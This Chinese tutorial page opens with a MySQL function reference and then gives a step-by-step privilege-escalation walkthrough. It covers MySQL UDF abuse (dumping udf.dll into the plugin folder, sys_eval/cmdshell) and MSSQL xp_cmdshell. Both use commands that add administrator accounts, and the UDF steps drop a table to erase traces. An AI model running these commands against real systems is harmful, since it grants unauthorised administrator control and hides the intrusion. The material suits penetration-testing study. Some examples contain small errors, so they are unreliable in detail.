数据库系统功能函数
Table of Contents
功能函数
Mysql函数
1. 字符串函数
ASCII(s)
返回字符串 s 的第一个字符的 ASCII 码。
mysql> select ASCII(User) from user;
+-------------+
| ASCII(User) |
+-------------+
| 109 |
| 109 |
| 114 |
+-------------+
3 rows in set (0.00 sec)
mysql> select User from user;
+---------------+
| User |
+---------------+
| mysql.session |
| mysql.sys |
| root |
+---------------+
3 rows in set (0.00 sec)
CHAR_LENGTH(s)
返回字符串 s 的字符数,不管汉字还是数字或者是字母都算是一个字符。
mysql> select CHAR_LENGTH("whoami");
+-----------------------+
| CHAR_LENGTH("whoami") |
+-----------------------+
| 6 |
+-----------------------+
1 row in set (0.01 sec)
CHARACTER_LENGTH(s)
返回字符串 s 的字符数,CHARACTER_LENGTH()是CHAR_LENGTH()函数的同义词。
mysql> select CHARACTER_LENGTH("whoami");
+----------------------------+
| CHARACTER_LENGTH("whoami") |
+----------------------------+
| 6 |
+----------------------------+
1 row in set (0.00 sec)
CONCAT(s1,s2…sn)
字符串 s1,s2 等多个字符串合并为一个字符串。
mysql> SELECT CONCAT("SQL ", "baidu ", "Gooogle ", "Facebook") AS ConcatenatedString;
+-----------------------------+
| ConcatenatedString |
+-----------------------------+
| SQL baidu Gooogle Facebook |
+-----------------------------+
1 row in set (0.01 sec)
CONCAT_WS(x, s1,s2…sn)
同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符
mysql> SELECT CONCAT_WS("-", "SQL", "Tutorial", "is", "fun!")AS ConcatenatedString;
+----------------------+
| ConcatenatedString |
+----------------------+
| SQL-Tutorial-is-fun! |
+----------------------+
1 row in set (0.00 sec)
FIELD(s,s1,s2…)
返回第一个字符串 s 在字符串列表(s1,s2…)中的位置
返回字符串 c 在列表值中的位置:
mysql> SELECT FIELD("c", "a", "b", "c", "d", "e");
+-------------------------------------+
| FIELD("c", "a", "b", "c", "d", "e") |
+-------------------------------------+
| 3 |
+-------------------------------------+
1 row in set (0.01 sec)
FIND_IN_SET(s1,s2)
返回在字符串s2中与s1匹配的字符串的位置
mysql> SELECT FIND_IN_SET("c", "a,b,c,d,e");
+-------------------------------+
| FIND_IN_SET("c", "a,b,c,d,e") |
+-------------------------------+
| 3 |
+-------------------------------+
1 row in set (0.00 sec)
FORMAT(x,n)
函数可以将数字 x 进行格式化 “#,###.##”, 将 x 保留到小数点后 n 位,最后一位四舍五入。
保留小数点后2位
mysql> SELECT FORMAT(250500.5634, 2);
+------------------------+
| FORMAT(250500.5634, 2) |
+------------------------+
| 250,500.56 |
+------------------------+
1 row in set (0.00 sec)
INSERT(s1,x,len,s2)
将s1中x位置开始长度为len的字符串替换为s2
“google.com“位置1开始长度为6的字符“google”替换成了“baiduu”
mysql> SELECT INSERT("google.com", 1, 6, "baiduu");
+--------------------------------------+
| INSERT("google.com", 1, 6, "runnob") |
+--------------------------------------+
| baiduu.com |
+--------------------------------------+
1 row in set (0.01 sec)
LOCATE(s1,s)
从字符串 s 中获取 s1 的开始位置
mysql> SELECT LOCATE('op','aaaaopopbbbb');
+-----------------------------+
| LOCATE('op','aaaaopopbbbb') |
+-----------------------------+
| 5 |
+-----------------------------+
1 row in set (0.01 sec)
LCASE(s)
将字符串 s 的所有字母变成小写字母
mysql> SELECT LCASE('BAIDUU');
+-----------------+
| LCASE('BAIDUU') |
+-----------------+
| baiduu |
+-----------------+
1 row in set (0.00 sec)
LEFT(s,n)
返回字符串 s 的前 n 个字符
mysql> SELECT LEFT('whoami',2);
+------------------+
| LEFT('whoami',2) |
+------------------+
| wh |
+------------------+
1 row in set (0.00 sec)
LOWER(s)
将字符串 s 的所有字母变成小写字母
mysql> SELECT LOWER('AAAbbb');
+-----------------+
| LOWER('AAAbbb') |
+-----------------+
| aaabbb |
+-----------------+
1 row in set (0.00 sec)
LPAD(s1,len,s2)
在字符串 s1 前填充字符串 s2,使字符串长度达到 len
mysql> SELECT LPAD('abc',6,'xs');
+--------------------+
| LPAD('abc',6,'xs') |
+--------------------+
| xsxabc |
+--------------------+
1 row in set (0.00 sec)
mysql> SELECT LPAD('abc',7,'xs');
+--------------------+
| LPAD('abc',7,'xs') |
+--------------------+
| xsxsabc |
+--------------------+
1 row in set (0.00 sec)
LTRIM(s)
去掉字符串 s 开始处的空格
mysql> SELECT LTRIM(" baidu");
+--------------------+
| LTRIM(" baidu") |
+--------------------+
| baidu |
+--------------------+
1 row in set (0.01 sec)
MID(s,n,len)
从字符串 s 的 n 位置截取长度为 len 的子字符串,同 SUBSTRING(s,n,len)
从baidu123字符串第2个位置开始截取3个字符,结果aid
mysql> SELECT MID("baidu123", 2, 3);
+-----------------------+
| MID("baidu123", 2, 3) |
+-----------------------+
| aid |
+-----------------------+
1 row in set (0.00 sec)
POSITION(s1 IN s)
从字符串 s 中获取 s1 的开始位置
mysql> SELECT POSITION('b' in 'abc');
+------------------------+
| POSITION('b' in 'abc') |
+------------------------+
| 2 |
+------------------------+
1 row in set (0.00 sec)
REPEAT(s,n)
将字符串 s 重复 n 次
mysql> SELECT REPEAT('baidu',3);
+-------------------+
| REPEAT('baidu',3) |
+-------------------+
| baidubaidubaidu |
+-------------------+
1 row in set (0.00 sec)
TRIM(s)
去掉字符串 s 开始和结尾处的空格
mysql> SELECT TRIM(' baidu ');
+-----------------------+
| TRIM(' baidu ') |
+-----------------------+
| baidu |
+-----------------------+
1 row in set (0.00 sec)
UCASE(s) / UPPER(s)
将字符串转换为大写
mysql> SELECT UCASE("baidu");
+----------------+
| UCASE("baidu") |
+----------------+
| BAIDU |
+----------------+
1 row in set (0.01 sec)
2. 数字函数
greatest(v1, v2…) | least(v1, v2…)
返回一系列数的最大/最小值
mysql> select greatest(1, 3, 5, 7, 0);
+-------------------------+
| greatest(1, 3, 5, 7, 0) |
+-------------------------+
| 7 |
+-------------------------+
1 row in set (0.01 sec)
mysql> select least(1, 3, 5, 7, 0);
+----------------------+
| least(1, 3, 5, 7, 0) |
+----------------------+
| 0 |
+----------------------+
1 row in set (0.00 sec)
max(s) | min(s)
返回表达式 exp 计算后的最大/最小值
#返回该列的最大值
select max(列名) from table;
#返回该列的最小值
select min(列名) from table;
sum(s)
求和
avg(s)
求均值
count(s)
返回查询的行数
mysql> select count(*) from user;
+----------+
| count(*) |
+----------+
| 3 |
+----------+
1 row in set (0.00 sec)
abs(num)
求绝对值
ceil(num) | ceiling(num)
向上取整
floor(num)
向下取整
div(x, y)
除法,返回一个整数
mod(x, y) | x mod y | x % y
取模
3. 日期函数
current_date() | curdate()
mysql> select current_date(), curdate();
+----------------+------------+
| current_date() | curdate() |
+----------------+------------+
| 2019-08-30 | 2019-08-30 |
+----------------+------------+
1 row in set (0.02 sec)
current_time() | curtime()
mysql> select current_time(), curtime();
+----------------+-----------+
| current_time() | curtime() |
+----------------+-----------+
| 22:43:58 | 22:43:58 |
+----------------+-----------+
1 row in set (0.01 sec)
current_timestamp() | now() | sysdate()
mysql> select current_timestamp(), now(), sysdate();
+---------------------+---------------------+---------------------+
| current_timestamp() | now() | sysdate() |
+---------------------+---------------------+---------------------+
| 2019-08-30 22:45:03 | 2019-08-30 22:45:03 | 2019-08-30 22:45:03 |
+---------------------+---------------------+---------------------+
1 row in set (0.00 sec)
localtime() | localtimestamp()
mysql> select localtime(), localtimestamp();
+---------------------+---------------------+
| localtime() | localtimestamp() |
+---------------------+---------------------+
| 2019-08-30 22:46:00 | 2019-08-30 22:46:00 |
+---------------------+---------------------+
1 row in set (0.00 sec)
Mysql高级函数
进制转换
BIN(x)
返回 x 的二进制编码
mysql> SELECT BIN(15);
+---------+
| BIN(15) |
+---------+
| 1111 |
+---------+
1 row in set (0.01 sec)
hex(s)
将十六进制 s 转换为ASCII
mysql> SELECT hex(15);
+---------+
| hex(15) |
+---------+
| F |
+---------+
1 row in set (0.00 sec)
unhex()
与hex()相反
mysql> SELECT hex('1');
+----------+
| hex('1') |
+----------+
| 31 |
+----------+
1 row in set (0.00 sec)
mysql> SELECT unhex(31);
+-----------+
| unhex(31) |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)
数据库信息
current_user()
MySQL 授权的用户名和主机名
user() | session_user() | system_user()
当前连接的用户名和主机名
database()
当前数据库
connection_id()
当前连接id
version()
mysql版本
执行系统命令
使用system
在 MySQL 的命令行界面中可以使用 system shell-cmd 或者 ! shell-cmd 格式执行 shell 命令
# 查看当前目录
mysql> \! pwd
/home/tudouer/.local/share/Trash/files/dvwa
# 开启新的shell
mysql> \! bash
[root@localhost dvwa]# exit
exit
mysql>
Sql注入-Windows下利用udf提权
一、什么是udf
udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
udf 文件后缀一般为 dll,由C、C++编写,编写参考链接:点此
二、udf在渗透中的作用
在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过mysql获得管理员权限。
三、利用条件
利用udf的条件其实还是挺苛刻的
1. mysql用户权限问题
获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。
拥有将udf.dll写入相应目录的权限。
2. 数据库版本问题
udf利用的其中一步,是要将我们的xxx.dll文件上传到mysql检索目录中,mysql各版本的检索目录有所不同:
版本 | 路径 |
---|---|
MySQL < 5.0 | 导出路径随意; |
5.0 <= MySQL< 5.1 | 需要导出至目标服务器的系统目录(如:c:/windows/system32/) |
5.1 < MySQL | 必须导出到MySQL安装目录下的lib\plugin文件夹下 |
一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)
四、利用过程
环境:
目标系统:windows 10
mysql版本:5.5.53
1、查看版本
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.53 |
+-----------+
1 row in set (0.00 sec)
2、获取Mysql安装路径
mysql> select @@basedir;
+--------------------------------+
| @@basedir |
+--------------------------------+
| C:/phpStudy/PHPTutorial/MySQL/ |
+--------------------------------+
1 row in set (0.00 sec)
3、查看用户权限
mysql> select * from mysql.user where user='root' and host='127.0.0.1' \G;
*************************** 1. row ***************************
Host: 127.0.0.1
User: root
Password: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Select_priv: Y
Insert_priv: Y
Update_priv: Y
Delete_priv: Y
Create_priv: Y
Drop_priv: Y
Reload_priv: Y
Shutdown_priv: Y
Process_priv: Y
File_priv: Y
Grant_priv: Y
References_priv: Y
Index_priv: Y
Alter_priv: Y
Show_db_priv: Y
Super_priv: Y
Create_tmp_table_priv: Y
Lock_tables_priv: Y
Execute_priv: Y
Repl_slave_priv: Y
Repl_client_priv: Y
Create_view_priv: Y
Show_view_priv: Y
Create_routine_priv: Y
Alter_routine_priv: Y
Create_user_priv: Y
Event_priv: Y
Trigger_priv: Y
Create_tablespace_priv: Y
ssl_type:
ssl_cipher:
x509_issuer:
x509_subject:
max_questions: 0
max_updates: 0
max_connections: 0
max_user_connections: 0
plugin:
authentication_string:
1 row in set (0.01 sec)
可见root用户拥有以下关键权限,并且可读写文件。
Insert_priv: Y
Update_priv: Y
Delete_priv: Y
File_priv: Y
4、查看可操作路径
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
2 rows in set (0.00 sec)
secure_file_priv值为null,表示mysql不允许导入导出,此时我们只有通过别的方法将udf.dll写入安装路径。
5、上传DLL并利用
创建plugin目录
这里使用ntfs数据流创建,但是我本地测试一直没有成功。后来又在网上看了很多,都是用这种方法,看来是无解了。在t00ls上也有人说数据流从来没有成功过,所以说mysql5.1以上的提权能否成功还是个迷。
{{{{更新:
从MYSQL 5.1版本开始必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数,并且该目录默认是不存在的,这就 需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。
找到目录,居然存在,填写进去,导入成功
来创建函数
create function cmdshell returns string soname ‘udf.dll’
mysql是5.0以上的,我们把udf.dll导出到windows的目录下(c:\windows\udf.dll) root权限,然后执行下面的sql命令
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user asp.net XX /add’)
select cmdshell(‘net localgroup administrators asp.net /add’);
select cmdshell(‘net user’)
}}}}}
mysql> select 'test' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
ERROR 1 (HY000): Can't create/write to file 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION' (Errcode: 13)
为后续测试,手动创建plugin目录
将dll上传到安装路径的方式:
通过webshell上传
以hex方式直接上传
sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can’t open shared library ‘udf.dll’。获取sqlmap的udf请看链接:MySQL 利用UDF执行命令
将获得的udf.dll文件转换成16进制,一种思路是在本地使用mysql函数hex:
先将本地dll路径例如C:\\Users\\user\\Desktop\\lib_mysqludf_sys.dll转换为433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c
然后本地mysql执行
SELECT hex(load_file(0x433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\user\\Desktop\\udf.txt';
load_file中的十六进制是C:\\Users\\user\\Desktop\\lib_mysqludf_sys.dll
此时udf.txt文件的内容就是udf文件的16进制形式。
接下来就是把本地的udf16进制形式通过我们已经获得的webshell传到目标主机上。
1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\
继续,到这儿如果没有报错的话就说明已经在目标主机上成功生成了udf文件。下面要导入udf函数:
DROP TABLE udftmp; //为了删除痕迹,把刚刚新建的udftmp表删掉
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数
导入成功的话就可以使用了:
SELECT sys_eval('ipconfig');
返回网卡信息
MSSQL提权 xp_cmdshell
存储过程为数据库提供了强大的功能,其类似UDF,在MSSQL中xp_cmdshell可谓臭名昭著了。MSSQL强大的存储过程也为黑客提供了遍历,在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如增加MSSQL数据库用户,枚举文件目录等等。而这些系统存储过程中要数xp_cmdshell最强大,通过该存储过程可以在数据库服务器中执行任意系统命令。MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
前提
getshell或者存在sql注入并且能够执行命令。
sql server是system权限,sql server默认就是system权限。
xp_cmdshell开启
有了xp_cmdshell的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。
开启xp_cmdshell
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
提权
exec master..xp_cmdshell 'net user test pinohd123. /add' 添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组
参考
https://www.cnblogs.com/litlife/p/9030673.html
https://mp.weixin.qq.com/s/ERXOLhWo0-lJbMV143I8hA